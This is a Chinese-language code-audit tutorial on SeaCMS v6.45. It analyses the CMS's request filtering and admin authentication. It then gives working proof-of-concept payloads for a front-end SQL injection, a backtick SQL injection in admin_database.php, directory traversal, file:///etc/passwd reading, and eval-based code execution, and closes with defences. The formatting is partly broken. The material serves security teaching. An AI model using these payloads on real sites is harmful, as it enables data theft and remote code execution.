SeaCMS v6.45 代码审计与漏洞分析教学文档
0x01 系统概述
SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,本次审计版本为 v6.45(活跃于2015年),该版本存在多个典型漏洞,非常适合代码审计学习。
0x02 全局架构分析
核心文件结构
-
入口文件 index.php
- 加载 include/common.php
- 加载 main.class.php
- 通过 echoIndex() 输出首页
-
common.php 核心文件
- 安全过滤机制:
foreach($_REQUEST as $_k=>$_v){ if(strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k])){ exit('Request var not allow!'); } } - GPC数据处理:
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach(
- 安全过滤机制:
\[_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } ``` - 文件上传安全处理: ```php $cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml"; ``` ### 后台架构 1. **后台入口 admin/index.php** - 加载 config.php 进行权限验证 - 使用 session 认证机制: ```php $hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); if($cuserLogin->getUserID()==-1 OR $_SESSION['hashstr'] !== $hashstr){ header("location:login.php?gotopage=".urlencode($EkNowurl)); exit(); } ``` ## 0x03 漏洞分析与利用 ### 1. 前台SQL注入 (comment/api/index.php) **漏洞点分析**: ```php $sql = "SELECT id,uid,... FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC"; ``` **利用条件**: 1. `$page >= 2` 2. `$gid > 0` 3. `$rlist` 为数组 **POC**: ``` http://target.com/comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database())) ``` ### 2. 后台反引号SQL注入 (admin/admin_database.php) **漏洞点**: ```php $dsql->SetQuery("Select * From `$nowtable` "); ``` **利用方式**: 1. 控制 `$action="bak"` 2. `$nowtable` 可控 3. 构造表名注入: ``` sea_admin` WHERE 1=extractvalue(1,concat(0x7e,DATABASE())); -- ``` ### 3. 目录穿越漏洞 **漏洞点**: ```php $path=strtolower($path); if(substr($path,0,11)!=$dirTemplate){ ShowMsg("只允许编辑templets目录!","admin_template.php"); exit; } ``` **绕过方式**: ``` ../templets/../../etc/passwd ``` ### 4. 任意文件读取 **漏洞点** (admin_collect_ruleadd2.htm): ```php $content = !empty($showcode)?@file_get_contents($siteurl):''; ``` **POC**: ``` POST /admin/admin_collect_news.php action=addrule&step=2&itemname=1&siteurl=file:///etc/passwd&showcode=111 ``` ### 5. 前台代码执行漏洞 **漏洞链**: 1. search.php 中变量覆盖: ```php foreach($_GET as $k=>$v){ \]
k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
}
2. parseIf() 函数中的 eval:
```php
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
利用条件:
$searchtype=5- 控制
$order参数
POC:
searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
0x04 防御建议
-
SQL注入防御:
- 使用预处理语句
- 严格类型检查
- 避免直接拼接SQL
-
目录穿越防御:
- 使用 realpath() 检查路径
- 严格限制可访问目录
-
代码执行防御:
- 避免使用 eval()
- 严格过滤动态内容
-
文件操作防御:
- 限制文件协议(file://)
- 白名单校验文件路径
-
变量处理:
- 避免使用 `
\[` 变量覆盖 - 严格校验外部输入 ## 0x05 总结 通过对 SeaCMS v6.45 的审计,我们学习了: 1. 变量覆盖漏洞的利用 2. 反引号SQL注入技巧 3. 目录穿越漏洞的多种利用方式 4. 复杂代码执行漏洞的挖掘方法 5. 黑名单机制的绕过技巧 这些漏洞类型在CMS系统中具有代表性,掌握这些漏洞模式对提高代码审计能力有很大帮助。\]